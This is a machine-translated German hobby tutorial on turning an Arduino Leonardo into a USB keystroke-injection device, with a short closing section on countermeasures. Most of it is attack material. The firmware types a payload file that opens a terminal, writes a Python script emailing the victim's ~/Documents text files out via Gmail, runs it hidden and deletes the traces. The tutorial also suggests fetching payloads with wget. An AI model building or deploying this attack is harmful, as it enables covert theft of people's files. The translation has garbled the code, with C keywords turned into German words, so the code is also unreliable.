Arduino Keyboard Exploit Demo (HID) und Prävention - Gunook

2024 Autor: John Day | [email protected]. Zuletzt bearbeitet: 2024-01-30 07:20

In diesem Projekt werden wir einen Arduino-Leonardo verwenden, um einen möglichen USB-Angriff mit HID (Humain Interface Device) zu simulieren.

Ich habe dieses Tutorial nicht erstellt, um Hackern zu helfen, sondern um Ihnen einige echte Gefahren zu zeigen und Ihnen zu zeigen, wie Sie sich vor diesen Gefahren schützen können. Dieses Gerät ist kein Gerät, das auf jeder Plattform für Hacker verwendet werden kann, es ist eher ein Proof of Concept im Detail.

Wir werden folgendes lernen:

- wie man arduino leonardo verwendet, um die Tastatur zu emulieren

- wie man Daten von SD-Karten liest

- So erstellen Sie ein Python-Skript, das Dateien scannt und per E-Mail versendet

- wie Sie sich vor USB-Hacking-Geräten schützen können

Schritt 1: Materialien

Teile:

1. Arduino leonardo

2. Micro-USB-Kartenleser

3. einige GB SD-Karte

4. Taster wie dieser (VCC, Masse und Signal)

5. Überbrückungskabel weiblich-männlich und weiblich-weiblich

6. Micro-USB-zu-USB-Kabel

Schritt 2: Aufbau des Geräts

Lassen Sie uns vor der Bauanleitung das Arbeitsprinzip überprüfen:

Arduino leonardo kann sich wie ein Human Interface Device (HID) verhalten und kann daher Maus und Tastatur emulieren. Wir werden diese Funktion verwenden, um ein Terminal (in UBUNTU Linux) zu öffnen und ein kleines Skript zu schreiben, das auf den Ordner /Documents im Home-Ordner des Benutzers zugreift,.txt-Dateien dorthin kopiert und per E-Mail an jemanden sendet. Wenn Sie mehr Details erfahren möchten, überprüfen Sie den nächsten Schritt.

Da es sich um ein Demogerät handelt, sind die Dinge wirklich einfach, wir werden nichts löten.

Bauanleitung

Bevor wir beginnen, überprüfen Sie die angehängten Dateien, ich habe Fritzing-Schaltpläne und alle erforderlichen Dateien angehängt

1. Montieren Sie die Komponenten:

* Stecken Sie das Micro-USB-Kabel in das Arduino

* Schließen Sie den Schlüsselschalter an das Arduino (Masse, VCC und Out-Modul an D8) an

* Verbinden Sie den Kartenleser mit dem Arduino (mit ICSP-Header). Arduino leonardo hat den ICSP-Header nicht mit digitalen Pins verbunden, daher müssen Sie den Kartenleser an den ICSP-Header anschließen. Einige Zeichnungen des ICSP finden Sie hier: https://learn.sparkfun.com/tutorials/installing-an…. Verbinden Sie den SS-Pin mit dem digitalen Pin 10

2. Holen Sie sich den Arduino-Code, Sie können mein Arduino-Repository auf Github klonen: https://github.com/danionescu0/arduino und gehen Sie zu projects/keyboard_exploit oder rufen Sie es von unten ab:

#include "Keyboard.h"

#include "SPI.h" #include "SD.h" String filenameOnCard = "hack.txt"; String sleepCommandStartingPoint = "Schlaf::"; String commandStartingPoint = "Befehl::"; int delayBetweenCommands = 10; const int buttonPin = 8; const int chipSelect = 10; int previousButtonState = HIGH; Void setup () { PinMode (buttonPin, INPUT); Serial.begin (9600); Tastatur.begin(); if (! SD.begin (chipSelect)) { Serial.println ("Karte fehlgeschlagen oder nicht vorhanden!"); Rückkehr; aufrechtzuerhalten. aufrechtzuerhalten. Void Schleife () { Int buttonState = digitalRead (buttonPin); if ((buttonState != previousButtonState) && (buttonState == HIGH)) { sdFileToKeyboard(); Serial.println ("Hochgeladen!"); Verzögerung (500); } previousButtonState = buttonState; aufrechtzuerhalten. Void sdFileToKeyboard () { Datei dataFile = SD.open (DateinameOnCard); if (!dataFile) { Serial.println("Der angegebene Dateiname ist nicht auf der SD-Karte vorhanden, überprüfen Sie filenameOnCard!"); } String-Zeile; while (dataFile.available()) { line = dataFile.readStringUntil('\n'); Serial.println (Zeile); sendToKeyboard(line); } dataFile.close(); aufrechtzuerhalten. Void sendToKeyboard(String line) { String workingLine = line; if (workingLine.indexOf(sleepCommandStartingPoint) != -1) { sleepFor(line); Rückkehr; } if (workingLine.indexOf (commandStartingPoint) == -1) { Serial.print ("Text:"); Serial.println (line); Keyboard.println(Zeile); Drücken Sie Enter(); Rückkehr; } Serial.println ("Befehl:"); int charPosition = commandStartingPoint.length(); int lineLength = line.length(); Arbeitszeile += ", "; while (workingLine != "") { workingLine = workingLine.substring(charPosition); Serial.print ("WorkingLine:"); Serial.println (workingLine); int specialCommandDelimiterPosition = workingLine.indexOf(", "); String-Befehl = workingLine.substring(0, specialCommandDelimiterPosition); charPosition = specialCommandDelimiterPosition + 1; if (Befehl! = "") { Serial.print ("Befehl gefunden:"); Serial.println (Befehl); Keyboard.press (getCommandCode (Befehl)); Verzögerung (verzögerungBetweenCommands); } } Keyboard.releaseAll(); Verzögerung (verzögerungBetweenCommands); aufrechtzuerhalten. Void pressEnter () { Keyboard.press (KEY_RETURN); Keyboard.releaseAll(); aufrechtzuerhalten. Void sleepFor(String line) {int sleepAmount = line.substring(sleepCommandStartingPoint.length(), line.length()).toInt(); Serial.print ("Schlafen für:"); Serial.println (sleepAmount); Verzögerung (sleepAmount); } char getCommandCode (Stringtext) { char textCharacters [2]; text.toCharArray(textCharacters, 2); Zeichencode = textCharacters[0]; code = (text == "KEY_LEFT_CTRL") ? KEY_LEFT_CTRL: Code; code = (text == "KEY_LEFT_SHIFT") ? KEY_LEFT_SHIFT: Code; code = (text == "KEY_LEFT_ALT") ? KEY_LEFT_ALT: Code; code = (text == "KEY_UP_ARROW") ? KEY_UP_ARROW: Code; code = (text == "KEY_DOWN_ARROW") ? KEY_DOWN_ARROW: Code; code = (text == "KEY_LEFT_ARROW") ? KEY_LEFT_ARROW: Code; code = (text == "KEY_RIGHT_ARROW") ? KEY_RIGHT_ARROW: Code; code = (text == "KEY_RIGHT_GUI") ? KEY_RIGHT_GUI: Code; code = (text == "KEY_BACKSPACE") ? KEY_BACKSPACE: Code; code = (text == "KEY_TAB") ? KEY_TAB: Code; code = (text == "KEY_RETURN") ? KEY_RETURN: Code; code = (text == "KEY_ESC") ? KEY_ESC: Code; code = (text == "KEY_INSERT") ? KEY_INSERT: Code; code = (text == "KEY_DELETE") ? KEY_DELETE: Code; code = (text == "KEY_PAGE_UP") ? KEY_PAGE_UP: Code; code = (text == "KEY_PAGE_DOWN") ? KEY_PAGE_DOWN: Code; code = (text == "KEY_HOME") ? KEY_HOME: Code; code = (text == "KEY_END") ? KEY_END: Code; code = (text == "KEY_CAPS_LOCK") ? KEY_CAPS_LOCK: Code; code = (text == "KEY_F1") ? KEY_F1: Code; code = (text == "KEY_F2") ? KEY_F2: Code; code = (text == "KEY_F3") ? KEY_F3: Code; code = (text == "KEY_F4") ? KEY_F4: Code; code = (text == "KEY_F5") ? KEY_F5: Code; code = (text == "KEY_F6") ? KEY_F6: Code; code = (text == "KEY_F7") ? KEY_F7: Code; code = (text == "KEY_F8") ? KEY_F8: Code; code = (text == "KEY_F9") ? KEY_F9: Code; code = (text == "KEY_F10") ? KEY_F10: Code; code = (text == "KEY_F11") ? KEY_F1: Code; code = (text == "KEY_F12") ? KEY_F2: Code;

Rückgabe Code;

}

3. Laden Sie den Code auf das Arduino hoch, stellen Sie sicher, dass Sie 9600 Baudrate, die serielle Schnittstelle und Arduino Leonardo auswählen

4. Formatieren Sie die SD-Karte mit FAT16 oder FAT32

5. Wenn Sie das Github-Repository von oben geklont haben, kopieren Sie die Datei hack.txt auf die Karte, wenn nicht, ist die Datei unten aufgeführt:

Befehl::KEY_LEFT_CTRL, KEY_LEFT_ALT, tSleep::500 vi hack.py Sleep::300 Befehl::KEY_INSERT import smtplib import glob, os from os.path import expanduser from email. MIMEMultipart import MIMEMultipart from email. MIMEBase import MIMEBase from email. MIMEText importieren MIMEText aus E-Mail. Utils importieren COMMASPACE, formatdate aus E-Mail-Import Encoders

smtp_user = 'sender_gmail_address'

smtp_pass = 'sender_gmail_password' to_address = 'receiver_address' scan_documents_location = 'Dokumente'

Betreff = Körper = 'Dateien von gehacktem Computer'

header = 'An:{0}\nVon: {1}\nBetreff: {2}\n'.format(an_address, smtp_user, Betreff)

def sendMail(an, Betreff, Text, Dateien=):

msg = MIMEMultipart() msg['From'] = smtp_user msg['To'] = COMMASPACE.join(to) msg['Date'] = formatdate(localtime=True) msg['Subject'] = Betreff msg.attach (MIMEText(text)) für Datei in Dateien: part = MIMEBase('application', "octet-stream") part.set_payload(open(file, "rb").read()) Encoders.encode_base64(part) part. add_header('Content-Disposition', 'attachment; filename="%s"' % os.path.basename(file)) msg.attach(part)

server = smtplib. SMTP('smtp.gmail.com:587')

server.starttls() server.login(smtp_user, smtp_pass) server.sendmail(smtp_user, to, msg.as_string()) server.quit()

sendMail([to_address], subject, body, glob.glob("{0}/{1}/*.txt".format(expanduser("~"), scan_documents_location)))

Sleep::50 Command::KEY_ESC Sleep::100:x Sleep::500 nohup python hack.py & Sleep::700 rm -rf hack.py Sleep::400 Command::KEY_LEFT_ALT, KEY_F4

6. Bearbeiten Sie die folgenden Zeilen:

smtp_user = 'sender_email_addr'

smtp_pass = 'sender_password' to_address = 'receiver_address'

Und durch deine E-Mail-Adressen ersetzen

7. Entfernen Sie die Karte und legen Sie sie in den Arduino-Kartenleser ein

Schritt 3: Wie es im Detail funktioniert

So funktioniert der Angriff:

1. Wenn die Taste gedrückt wird, liest der Leonardo die SD-Karte mit einem SD-Kartenleser. Auf der Karte befindet sich eine spezielle Datei mit Schlüsseln und Tastenkombinationen. Der Dateiname lautet "hack.txt".

Die Datei kann Rohtext enthalten und wird so wie sie ist an die Tastatur übergeben.

Es kann auch spezielle Befehle wie "Sleep::" und "Command::" enthalten.

Eine Zeile wie:

Sleep::200 bedeutet einen Schlaf von 200 ms

Eine Zeile wie:

Command::KEY_LEFT_CTRL, KEY_LEFT_ALT, t bedeutet linke Strg gedrückt, linke Alt gedrückt, t gedrückt und alles losgelassen

Alle Sondertasten können Sie hier einsehen:

2. Leonardo liest Zeile für Zeile, interpretiert die Befehle und emuliert die Tasten auf der Tastatur. Die Datei "hack.txt" enthält eine Schlüsselkombination, die Folgendes bewirkt (für UBUNTU-Linux):

A. öffnet ein Terminal (STRG + ALT + T)

B. öffnet eine Python-Datei zur Erstellung mit vi (schreibt "vi hack.py"

C. schreibt ein Python-Skript hinein, das alle Textdateien im Home-Ordner von Dokumenten sammelt und an eine angegebene Google Mail-Adresse sendet

D. führt die Datei im Hintergrund aus ("nohup python hack.py &")

e. löscht die Datei (rm -rf hack.py)

F. schließt das Terminal (ALT + F4)

Das Ganze läuft in wenigen Sekunden und hinterlässt keine Spuren.

Verbesserungen und Fehlerbehebung

* Sie werden vielleicht bemerkt haben, dass ich nach dem Öffnen eines Terminals die Python-Datei schreibe. ein besserer Weg dazu ist, es irgendwo zu hosten und mit dem Befehl "wget some_url" herunterzuladen und dann in hack.py umzubenennen

* Wir können auch einen vorgefertigten Exploit für das Zielbetriebssystem herunterladen oder ausführen

* WLAN kann zum Modul hinzugefügt werden und die Hacks können über WIFI hochgeladen werden

* Sie können Arduino Micro verwenden (das viel kleiner ist) und Exploit-Code darauf einbetten (um es kleiner zu machen)

Einschränkungen

1. Da das simulierte Gerät (Tastatur und Maus) keine Rückmeldung hat, wissen wir nicht, was nach der Ausgabe eines Befehls passiert, was bedeutet, dass wir Verzögerungen verwenden müssen. Zum Beispiel gebe ich einen Befehl zum Öffnen des Terminals aus, weiß aber nicht, wann es tatsächlich geöffnet wird, daher muss ich eine willkürliche Verzögerung angeben, um sicherzustellen, dass die eingegebenen Zeichen nicht verloren gehen.

2. Wir können auf Berechtigungsprobleme stoßen, wie z. B. keinen Zugriff auf den USB-Anschluss oder die Berechtigung, etwas zu installieren

3. Die Tippgeschwindigkeit ist bei Leonardo nicht so toll

4. Funktioniert nur auf einem Zielbetriebssystem (in unserem Fall UBUNTU Linux)

Im nächsten Schritt werden wir versuchen, Wege zu finden, diese Einschränkungen auszunutzen, um zu verhindern, dass unser Computer gehackt wird

Schritt 4: Gegenmaßnahmen

1. Deaktivieren von USB-Anschlüssen

- für Windows können Sie dieses Tutorial überprüfen:

2. USB-Geräte auf die Whitelist setzen:

- für Windows:

2. Sperren Sie Ihren Computer, wenn Sie nicht weg sind

3. Melden Sie sich nicht als Root an (erfordern Sie Passwörter für die Installation)

4. Halten Sie sich auf dem Laufenden (automatische Updates an)